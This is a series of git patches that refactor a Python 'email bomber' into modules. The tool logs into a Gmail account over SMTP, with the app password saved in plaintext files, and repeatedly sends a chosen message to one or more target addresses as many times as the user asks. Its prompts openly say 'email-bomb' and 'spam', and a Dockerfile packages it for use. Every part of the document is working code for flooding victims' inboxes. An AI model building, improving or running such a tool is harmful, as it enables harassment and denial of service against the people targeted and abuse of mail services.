From 834b487c7c4c25006e1bcce7c2a0d24c6d5cb17c Mon Sep 17 00:00:00 2001 From: Ngawang Samphel <20135336@tafe.wa.edu.au> Date: Thu, 19 Jun 2025 01:51:39 +0800 Subject: [PATCH 01/12] Add .gitignore file --- .gitignore | 2 ++ 1 file changed, 2 insertions(+) create mode 100644 .gitignore diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..c982682 --- /dev/null +++ b/.gitignore @@ -0,0 +1,2 @@ +.idea +User_Credentials/ \ No newline at end of file From 48aee513b1f6899e73a9ffca08bf80d84246ddb5 Mon Sep 17 00:00:00 2001 From: Ngawang Samphel <20135336@tafe.wa.edu.au> Date: Thu, 19 Jun 2025 02:02:17 +0800 Subject: [PATCH 02/12] feat(email_bomber): Break the monolithic app into fucntions to proceed to modular structure. --- emailbomber.py | 221 ++++++++++++++++++++++++++++++++----------------- 1 file changed, 144 insertions(+), 77 deletions(-) diff --git a/emailbomber.py b/emailbomber.py index 266a7cf..49f862a 100644 --- a/emailbomber.py +++ b/emailbomber.py @@ -1,89 +1,156 @@ -# Built-in libraries import smtplib import getpass -from os import access, path, mkdir +from os import path, mkdir from email.message import EmailMessage -# Welcomes user -print(f"{open('Welcome/welcome.txt', encoding='UTF-8').read()}\n\n") +CREDENTIALS_DIR = "User_Credentials" +WELCOME_FILE = "Welcome/welcome.txt" +SMTP_SERVER = "smtp.gmail.com" +SMTP_PORT = 587 -# User inputs -if not path.exists("User_Credentials"): - # If User_Credentials does not exist, asks for user credentials - sender = input("Enter the Gmail address you would like to send emails from (example@gmail.com) -> ") - app_password = getpass.getpass("Enter the app's password (xxxx xxxx xxxx xxxx) -> ") -else: - # Otherwise, reads saved user credentials - sender = open("User_Credentials/sender.txt", "rt").read() - app_password = open("User_Credentials/app_password.txt", "rt").read() -print("If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)") - -# Enter the email(s) that you would like to email-bomb -receiver = input("Specify the email(s) you would like to email-bomb -> ") +def display_welcome(): + """Displays the welcome message from a file.""" + try: + with open(WELCOME_FILE, encoding="utf-8") as file: + print(f"{file.read()}\n\n") + except FileNotFoundError: + raise FileNotFoundError("Welcome file not found.") -# Enter the subject for the emails -subject = input("Enter the subject for your email-bomber message -> ") -# Enter the message that the email user(s) will receive -msg = input("Enter your email-bomber message -> ") +def get_credentials(): + """ + Loads sender email and app password from file if exists, + otherwise prompts the user to input and saves them. + Returns: + tuple: sender_email, app_password + """ + if not path.exists(CREDENTIALS_DIR): + sender = input("Enter your Gmail address (example@gmail.com): ") + app_password = getpass.getpass("Enter your app password (xxxx xxxx xxxx xxxx): ") + else: + with open(f"{CREDENTIALS_DIR}/sender.txt", "r") as sender_file: + sender = sender_file.read() + with open(f"{CREDENTIALS_DIR}/app_password.txt", "r") as password_file: + app_password = password_file.read() -message = EmailMessage() -message.set_content(msg, subtype="plain", charset='us-ascii') -message["Subject"] = subject # Set the subject for the email + return sender, app_password -# Loop until a valid count value is given -while True: +def save_credentials(sender, app_password): + """""" try: - count = int(input("Enter a number for the amount of emails to be sent -> ")) - except ValueError: - print("Please enter an integer for the amount of emails to be sent.") - except KeyboardInterrupt: - print("Goodbye!") - quit() - - if count <= 0: - print("Count must be positive. Received", count) - continue - break - -# Server -server = smtplib.SMTP("smtp.gmail.com", 587) -server.starttls() - -# Attempts to log in to the user's Gmail account -try: - server.login(user=sender, password=app_password) -except smtplib.SMTPAuthenticationError as error: - print("\nError: Make sure the Gmail address that you inputted is the same as the Gmail account you have created an app password for.\nAlso, double-check your Gmail and app password.") - print(f"{error}") - input("Enter to exit...") - quit() - -try: - if not path.exists("User_Credentials"): - # If user credentials do not exist, create and save credential files - # If there are no errors in credentials, save user information after SMTP verification - mkdir("User_Credentials") - open("User_Credentials/sender.txt", "xt").write(sender) - open("User_Credentials/app_password.txt", "xt").write(app_password) - input("\nYour credentials have been saved, so you do not have to repeat this process.\nTo change your credentials, go to User_Credentials and change your file information.\nPress enter to continue...") -except OSError: - print("\nError: There was an error saving your credentials.") - -print("\nEmail-bomber has started...\n") - -for i in range(count): - # Amount of messages to be sent - for email_receiver in receiver.split(","): - # Loops through emails to send emails to + mkdir(CREDENTIALS_DIR) + with open(f"{CREDENTIALS_DIR}/sender.txt", "w") as sender_file: + sender_file.write(sender) + with open(f"{CREDENTIALS_DIR}/app_password.txt", "w") as password_file: + password_file.write(app_password) + print("\nCredentials saved successfully.") + except OSError as e: + raise OSError(f"Error saving credentials: {e}") + +def get_email_details(): + """ + Prompts the user for recipients, subject, message, and count. + Returns: + tuple: recipients, subject, message_body, email_count + """ + print("If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)\n") + recipients = input( + "Specify the email(s) you would like to email-bomb (comma-separated) -> " + ).replace(" ", "").split(",") + subject = input("Enter the email subject: ") + msg = input("Enter the email message: ") + + while True: try: - print(f"Email-bombing {email_receiver}...") - server.sendmail(from_addr=sender, to_addrs=email_receiver, msg=message.as_string()) - print("Email sent successfully!") - except smtplib.SMTPException as error: - print(f"Error: {error}") - continue - -input("\nEmail-bomber was successful...\nPress enter to exit...") -server.close() + count = int(input("Enter the number of times to send each email: ")) + if count <= 0: + raise ValueError("Count must be positive.") + break + except ValueError as e: + raise ValueError(f"Invalid input: {e}") + + return recipients, subject, msg, count + + +def create_email(subject, body): + """ + Creates an EmailMessage object. + Returns: + EmailMessage: the constructed message + """ + msg = EmailMessage() + msg["Subject"] = subject + msg.set_content(body, subtype="plain", charset="us-ascii") + return msg + +def get_server(smtp_server=SMTP_SERVER, smtp_port=SMTP_PORT): + try: + server = smtplib.SMTP(smtp_server, smtp_port) + server.starttls() + except smtplib.SMTPConnectError: + raise smtplib.SMTPConnectError("Could not connect to SMTP server.") + return server + +def login_to_smtp(server, sender, app_password): + """ + logs into the SMTP server. + Returns: + smtplib.SMTP: authenticated SMTP server object + """ + try: + server.login(sender, app_password) + except smtplib.SMTPAuthenticationError: + raise smtplib.SMTPAuthenticationError("Failed to log in to the SMTP server") + return server + + +def send_bulk_emails(server, sender, recipients, msg, count): + """ + Sends emails using the authenticated SMTP server. + """ + print("\nSending emails...\n") + for _ in range(count): + for recipient in recipients: + try: + print(f"Sending to {recipient}...") + server.sendmail(sender, recipient, msg.as_string()) + print("Sent successfully!") + except smtplib.SMTPException as e: + raise smtplib.SMTPException(f"Failed to send to {recipient}: {e}") + + +def main(): + display_welcome() + sender, app_password = get_credentials() + + server = None + try: + server = get_server() + if server: + server = login_to_smtp(server, sender, app_password) + save_credentials(sender, app_password) + recipients, subject, body, count = get_email_details() + msg = create_email(subject, body) + send_bulk_emails(server, sender, recipients, msg, count) + server.close() + except smtplib.SMTPConnectError as e: + print(f"SMTP Connect error: {e}") + except smtplib.SMTPAuthenticationError as e: + print(f"SMTP authentication error: {e}") + except ValueError as e: + print(f"ValueError: {e}") + except smtplib.SMTPException as e: + print(f"SMTP error: {e}") + except Exception as e: + print(f"Unknown error: {e}") + finally: + if server: + server.quit() + print("\nDisconnected from SMTP server.") + print("Bulk email process completed successfully.") + else: + print("\nEmail process aborted due to connection/login failure.") + +if __name__ == "__main__": + main() From ffc19f29c363e1c813ef2de8cfbf02d109128b92 Mon Sep 17 00:00:00 2001 From: Ngawang Samphel <20135336@tafe.wa.edu.au> Date: Wed, 25 Jun 2025 06:02:18 +0800 Subject: [PATCH 03/12] feat(auth): implement logging into smtp server --- emailbomber.py | 156 ------------------------------------------ main.py | 9 +++ src/authentication.py | 14 ++++ src/crendentials.py | 0 src/e_mail.py | 0 src/emailbomber.py | 0 src/load_welcome.py | 0 src/server.py | 0 8 files changed, 23 insertions(+), 156 deletions(-) delete mode 100644 emailbomber.py create mode 100644 main.py create mode 100644 src/authentication.py create mode 100644 src/crendentials.py create mode 100644 src/e_mail.py create mode 100644 src/emailbomber.py create mode 100644 src/load_welcome.py create mode 100644 src/server.py diff --git a/emailbomber.py b/emailbomber.py deleted file mode 100644 index 49f862a..0000000 --- a/emailbomber.py +++ /dev/null @@ -1,156 +0,0 @@ -import smtplib -import getpass -from os import path, mkdir -from email.message import EmailMessage - -CREDENTIALS_DIR = "User_Credentials" -WELCOME_FILE = "Welcome/welcome.txt" -SMTP_SERVER = "smtp.gmail.com" -SMTP_PORT = 587 - - -def display_welcome(): - """Displays the welcome message from a file.""" - try: - with open(WELCOME_FILE, encoding="utf-8") as file: - print(f"{file.read()}\n\n") - except FileNotFoundError: - raise FileNotFoundError("Welcome file not found.") - - -def get_credentials(): - """ - Loads sender email and app password from file if exists, - otherwise prompts the user to input and saves them. - Returns: - tuple: sender_email, app_password - """ - if not path.exists(CREDENTIALS_DIR): - sender = input("Enter your Gmail address (example@gmail.com): ") - app_password = getpass.getpass("Enter your app password (xxxx xxxx xxxx xxxx): ") - else: - with open(f"{CREDENTIALS_DIR}/sender.txt", "r") as sender_file: - sender = sender_file.read() - with open(f"{CREDENTIALS_DIR}/app_password.txt", "r") as password_file: - app_password = password_file.read() - - return sender, app_password - -def save_credentials(sender, app_password): - """""" - try: - mkdir(CREDENTIALS_DIR) - with open(f"{CREDENTIALS_DIR}/sender.txt", "w") as sender_file: - sender_file.write(sender) - with open(f"{CREDENTIALS_DIR}/app_password.txt", "w") as password_file: - password_file.write(app_password) - print("\nCredentials saved successfully.") - except OSError as e: - raise OSError(f"Error saving credentials: {e}") - -def get_email_details(): - """ - Prompts the user for recipients, subject, message, and count. - Returns: - tuple: recipients, subject, message_body, email_count - """ - print("If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)\n") - recipients = input( - "Specify the email(s) you would like to email-bomb (comma-separated) -> " - ).replace(" ", "").split(",") - subject = input("Enter the email subject: ") - msg = input("Enter the email message: ") - - while True: - try: - count = int(input("Enter the number of times to send each email: ")) - if count <= 0: - raise ValueError("Count must be positive.") - break - except ValueError as e: - raise ValueError(f"Invalid input: {e}") - - return recipients, subject, msg, count - - -def create_email(subject, body): - """ - Creates an EmailMessage object. - Returns: - EmailMessage: the constructed message - """ - msg = EmailMessage() - msg["Subject"] = subject - msg.set_content(body, subtype="plain", charset="us-ascii") - return msg - -def get_server(smtp_server=SMTP_SERVER, smtp_port=SMTP_PORT): - try: - server = smtplib.SMTP(smtp_server, smtp_port) - server.starttls() - except smtplib.SMTPConnectError: - raise smtplib.SMTPConnectError("Could not connect to SMTP server.") - return server - -def login_to_smtp(server, sender, app_password): - """ - logs into the SMTP server. - Returns: - smtplib.SMTP: authenticated SMTP server object - """ - try: - server.login(sender, app_password) - except smtplib.SMTPAuthenticationError: - raise smtplib.SMTPAuthenticationError("Failed to log in to the SMTP server") - return server - - -def send_bulk_emails(server, sender, recipients, msg, count): - """ - Sends emails using the authenticated SMTP server. - """ - print("\nSending emails...\n") - for _ in range(count): - for recipient in recipients: - try: - print(f"Sending to {recipient}...") - server.sendmail(sender, recipient, msg.as_string()) - print("Sent successfully!") - except smtplib.SMTPException as e: - raise smtplib.SMTPException(f"Failed to send to {recipient}: {e}") - - -def main(): - display_welcome() - sender, app_password = get_credentials() - - server = None - try: - server = get_server() - if server: - server = login_to_smtp(server, sender, app_password) - save_credentials(sender, app_password) - recipients, subject, body, count = get_email_details() - msg = create_email(subject, body) - send_bulk_emails(server, sender, recipients, msg, count) - server.close() - except smtplib.SMTPConnectError as e: - print(f"SMTP Connect error: {e}") - except smtplib.SMTPAuthenticationError as e: - print(f"SMTP authentication error: {e}") - except ValueError as e: - print(f"ValueError: {e}") - except smtplib.SMTPException as e: - print(f"SMTP error: {e}") - except Exception as e: - print(f"Unknown error: {e}") - finally: - if server: - server.quit() - print("\nDisconnected from SMTP server.") - print("Bulk email process completed successfully.") - else: - print("\nEmail process aborted due to connection/login failure.") - -if __name__ == "__main__": - main() diff --git a/main.py b/main.py new file mode 100644 index 0000000..995ccf7 --- /dev/null +++ b/main.py @@ -0,0 +1,9 @@ +from src.emailbomber import email_bomber + + +def main(): + email_bomber() + + +if __name__ == "__main__": + main() diff --git a/src/authentication.py b/src/authentication.py new file mode 100644 index 0000000..809a9e2 --- /dev/null +++ b/src/authentication.py @@ -0,0 +1,14 @@ +import smtplib + + +def login_to_smtp(server, sender, app_password): + """ + logs into the SMTP server. + Returns: + smtplib.SMTP: authenticated SMTP server object + """ + try: + server.login(sender, app_password) + except smtplib.SMTPAuthenticationError as e: + raise smtplib.SMTPAuthenticationError(e.smtp_code,"Login failed: Check your email or app password.") from e + return server diff --git a/src/crendentials.py b/src/crendentials.py new file mode 100644 index 0000000..e69de29 diff --git a/src/e_mail.py b/src/e_mail.py new file mode 100644 index 0000000..e69de29 diff --git a/src/emailbomber.py b/src/emailbomber.py new file mode 100644 index 0000000..e69de29 diff --git a/src/load_welcome.py b/src/load_welcome.py new file mode 100644 index 0000000..e69de29 diff --git a/src/server.py b/src/server.py new file mode 100644 index 0000000..e69de29 From 78503e7c116f944e023d20f6a074a7522090000a Mon Sep 17 00:00:00 2001 From: Ngawang Samphel <20135336@tafe.wa.edu.au> Date: Wed, 25 Jun 2025 06:04:12 +0800 Subject: [PATCH 04/12] feat(display_welcome): Add function to load and display welcome file --- src/load_welcome.py | 14 ++++++++++++++ 1 file changed, 14 insertions(+) diff --git a/src/load_welcome.py b/src/load_welcome.py index e69de29..806bcf0 100644 --- a/src/load_welcome.py +++ b/src/load_welcome.py @@ -0,0 +1,14 @@ +import os + +WELCOME_FILE = r"Welcome\welcome.txt" + + +def display_welcome(filepath=WELCOME_FILE): + """Displays the welcome message from a file.""" + parent_dir = os.path.abspath(os.getcwd()) + filepath = os.path.join(parent_dir, filepath) + try: + with open(filepath, encoding="utf-8") as file: + print(f"{file.read()}\n\n") + except FileNotFoundError: + raise FileNotFoundError("Welcome file not found.") From 9c8e88b277ba0505514f2a63149bb76e14b4abcd Mon Sep 17 00:00:00 2001 From: Ngawang Samphel <20135336@tafe.wa.edu.au> Date: Wed, 25 Jun 2025 06:11:19 +0800 Subject: [PATCH 05/12] feat(credentials): Implement methods to get credentials and save credentials --- src/crendentials.py | 50 +++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 50 insertions(+) diff --git a/src/crendentials.py b/src/crendentials.py index e69de29..4be5c66 100644 --- a/src/crendentials.py +++ b/src/crendentials.py @@ -0,0 +1,50 @@ +import getpass +import os.path +from os import path, mkdir + +CREDENTIALS_DIR = "User_Credentials" + + +def get_credentials(dir_name=CREDENTIALS_DIR): + """ + Loads sender email and app password from file if exists, + otherwise prompts the user to input and saves them. + Returns: + tuple: sender_email, app_password + """ + parent_dir = os.path.abspath(os.getcwd()) + file_path = os.path.join(parent_dir, dir_name) + if not path.exists(file_path): + sender = input("Enter your Gmail address (example@gmail.com): ") + app_password = getpass.getpass("Enter your app password (xxxx xxxx xxxx xxxx): ") + else: + with open(f"{file_path}\\sender.txt", "r") as sender_file: + sender = sender_file.read() + with open(f"{file_path}\\app_password.txt", "r") as password_file: + app_password = password_file.read() + print("\nCredentials Loaded successfully.") + + return sender, app_password + + +def save_credentials(sender, app_password, dir_name=CREDENTIALS_DIR): + """ + Saves sender email and app password into file if exists. + Create a file if it doesn't exist. + :param sender: email address + :param app_password: app password + :param dir_name: directory to save credentials + :return: None + """ + parent_dir = os.path.abspath(os.getcwd()) + file_path = os.path.join(parent_dir, dir_name) + try: + if not path.exists(file_path): + mkdir(file_path) + with open(f"{file_path}\\sender.txt", "w") as sender_file: + sender_file.write(sender) + with open(f"{file_path}\\app_password.txt", "w") as password_file: + password_file.write(app_password) + print("\nCredentials saved successfully.") + except OSError as e: + raise OSError(f"Error saving credentials: {e}") From fa01bd83df72bed5a05e50801ff85890b96d4784 Mon Sep 17 00:00:00 2001 From: Ngawang Samphel <20135336@tafe.wa.edu.au> Date: Wed, 25 Jun 2025 06:12:36 +0800 Subject: [PATCH 06/12] update(.gitignore): update .gitignore file to include __pycache__ and .idea files --- .gitignore | 5 +++-- 1 file changed, 3 insertions(+), 2 deletions(-) diff --git a/.gitignore b/.gitignore index c982682..3a461f2 100644 --- a/.gitignore +++ b/.gitignore @@ -1,2 +1,3 @@ -.idea -User_Credentials/ \ No newline at end of file +.idea/ +User_Credentials/ +__pycache__ \ No newline at end of file From e264cffa4ee39518d69069fa5ac2ae4044c4be95 Mon Sep 17 00:00:00 2001 From: Ngawang Samphel <20135336@tafe.wa.edu.au> Date: Wed, 25 Jun 2025 06:15:03 +0800 Subject: [PATCH 07/12] feat(server): Implement a method to connect to smtp server --- src/server.py | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/src/server.py b/src/server.py index e69de29..ce66819 100644 --- a/src/server.py +++ b/src/server.py @@ -0,0 +1,13 @@ +import smtplib + +SMTP_SERVER = "smtp.gmail.com" +SMTP_PORT = 587 + + +def get_server(smtp_server=SMTP_SERVER, smtp_port=SMTP_PORT): + try: + server = smtplib.SMTP(smtp_server, smtp_port) + server.starttls() + except smtplib.SMTPConnectError as e: + raise smtplib.SMTPConnectError(e.smtp_code, f"Connection failed: {e}") + return server From a2927953e02a9d6479e2863c683b2614e4e9f96e Mon Sep 17 00:00:00 2001 From: Ngawang Samphel <20135336@tafe.wa.edu.au> Date: Wed, 25 Jun 2025 06:19:04 +0800 Subject: [PATCH 08/12] feat(e_mail): Implements method to get email details, create EmailMessage and send bulk message --- src/e_mail.py | 55 +++++++++++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 55 insertions(+) diff --git a/src/e_mail.py b/src/e_mail.py index e69de29..53ce993 100644 --- a/src/e_mail.py +++ b/src/e_mail.py @@ -0,0 +1,55 @@ +import smtplib +from email.message import EmailMessage + + +def get_email_details(): + """ + Prompts the user for recipients, subject, message, and count. + Returns: + tuple: recipients, subject, message_body, email_count + """ + print( + "If you would like to spam more than one email, separate the emails by commas (example@gmail.com, example2@hotmail.com, example3@myspace.com)\n") + recipients = input( + "Specify the email(s) you would like to email-bomb (comma-separated) -> " + ).replace(" ", "").split(",") + subject = input("Enter the email subject: ") + msg = input("Enter the email message: ") + + while True: + try: + count = int(input("Enter the number of times to send each email: ")) + if count <= 0: + raise ValueError("Count must be positive.") + break + except ValueError as e: + raise ValueError(f"Invalid input: {e}") + + return recipients, subject, msg, count + + +def create_email(subject, body): + """ + Creates an EmailMessage object. + Returns: + EmailMessage: the constructed message + """ + msg = EmailMessage() + msg["Subject"] = subject + msg.set_content(body, subtype="plain", charset="us-ascii") + return msg + + +def send_bulk_emails(server, sender, recipients, msg, count): + """ + Sends emails using the authenticated SMTP server. + """ + print("\nSending emails...\n") + for _ in range(count): + for recipient in recipients: + try: + print(f"Sending to {recipient}...") + server.sendmail(sender, recipient, msg.as_string()) + print("Sent successfully!") + except smtplib.SMTPException as e: + raise smtplib.SMTPException(f"Failed to send to {recipient}: {e}") From e07b5880ef030e89404a8e74b9e15c8af701072f Mon Sep 17 00:00:00 2001 From: Ngawang Samphel <20135336@tafe.wa.edu.au> Date: Wed, 25 Jun 2025 06:22:25 +0800 Subject: [PATCH 09/12] feat(emailbomber): Implemment email bomber logic and flow --- src/emailbomber.py | 39 +++++++++++++++++++++++++++++++++++++++ 1 file changed, 39 insertions(+) diff --git a/src/emailbomber.py b/src/emailbomber.py index e69de29..fb97bde 100644 --- a/src/emailbomber.py +++ b/src/emailbomber.py @@ -0,0 +1,39 @@ +import smtplib +from src.server import get_server +from src.load_welcome import display_welcome +from src.authentication import login_to_smtp +from src.crendentials import get_credentials, save_credentials +from src.e_mail import get_email_details, create_email, send_bulk_emails + + +def email_bomber(): + display_welcome() + sender, app_password = get_credentials() + + server = None + try: + server = get_server() + if server: + server = login_to_smtp(server, sender, app_password) + save_credentials(sender, app_password) + recipients, subject, body, count = get_email_details() + msg = create_email(subject, body) + send_bulk_emails(server, sender, recipients, msg, count) + print("Email Bombing process completed successfully.") + except smtplib.SMTPConnectError as e: + print(f"SMTP Connect error: {e}") + except smtplib.SMTPAuthenticationError as e: + print(f"SMTP authentication error: {e}") + except ValueError as e: + print(f"ValueError: {e}") + except smtplib.SMTPException as e: + print(f"SMTP error: {e}") + except Exception as e: + print(f"Unknown error: {e}") + finally: + if server: + server.close() + print("\nDisconnected from SMTP server.") + print("Email Bomber closing...") + else: + print("\nEmail process aborted due to connection/login failure.") From c0b78792aeeca3cf8427c13b70fafb83b1454144 Mon Sep 17 00:00:00 2001 From: Ngawang Samphel <20135336@tafe.wa.edu.au> Date: Wed, 25 Jun 2025 07:57:29 +0800 Subject: [PATCH 10/12] fix(credentials): fix filepath to use '/' --- src/crendentials.py | 8 ++++---- 1 file changed, 4 insertions(+), 4 deletions(-) diff --git a/src/crendentials.py b/src/crendentials.py index 4be5c66..d9499f6 100644 --- a/src/crendentials.py +++ b/src/crendentials.py @@ -18,9 +18,9 @@ def get_credentials(dir_name=CREDENTIALS_DIR): sender = input("Enter your Gmail address (example@gmail.com): ") app_password = getpass.getpass("Enter your app password (xxxx xxxx xxxx xxxx): ") else: - with open(f"{file_path}\\sender.txt", "r") as sender_file: + with open(f"{file_path}/sender.txt", "r") as sender_file: sender = sender_file.read() - with open(f"{file_path}\\app_password.txt", "r") as password_file: + with open(f"{file_path}/app_password.txt", "r") as password_file: app_password = password_file.read() print("\nCredentials Loaded successfully.") @@ -41,9 +41,9 @@ def save_credentials(sender, app_password, dir_name=CREDENTIALS_DIR): try: if not path.exists(file_path): mkdir(file_path) - with open(f"{file_path}\\sender.txt", "w") as sender_file: + with open(f"{file_path}/sender.txt", "w") as sender_file: sender_file.write(sender) - with open(f"{file_path}\\app_password.txt", "w") as password_file: + with open(f"{file_path}/app_password.txt", "w") as password_file: password_file.write(app_password) print("\nCredentials saved successfully.") except OSError as e: From fdcfae2ebb8c05924bbc8fd16169f199de5f6064 Mon Sep 17 00:00:00 2001 From: Ngawang Samphel <20135336@tafe.wa.edu.au> Date: Wed, 25 Jun 2025 07:58:36 +0800 Subject: [PATCH 11/12] fix(load_welcome): fix file path to use '/' --- src/load_welcome.py | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/load_welcome.py b/src/load_welcome.py index 806bcf0..242a6fe 100644 --- a/src/load_welcome.py +++ b/src/load_welcome.py @@ -1,6 +1,6 @@ import os -WELCOME_FILE = r"Welcome\welcome.txt" +WELCOME_FILE = r"Welcome/welcome.txt" def display_welcome(filepath=WELCOME_FILE): From 497ff9dd9a3e75ba7dc322a4fdedf89eeae4d6b5 Mon Sep 17 00:00:00 2001 From: Ngawang Samphel <20135336@tafe.wa.edu.au> Date: Wed, 25 Jun 2025 08:02:25 +0800 Subject: [PATCH 12/12] Update Docker file --- Dockerfile | 6 ++++-- 1 file changed, 4 insertions(+), 2 deletions(-) diff --git a/Dockerfile b/Dockerfile index a12c12d..b49de43 100644 --- a/Dockerfile +++ b/Dockerfile @@ -1,6 +1,8 @@ FROM python:3.10.12-alpine RUN apk update WORKDIR /emailbomber -COPY emailbomber.py emailbomber.py + +COPY src/ ./src/ +COPY main.py . COPY ./Welcome/welcome.txt ./Welcome/welcome.txt -CMD "python" "emailbomber.py" +CMD ["python", "main.py"]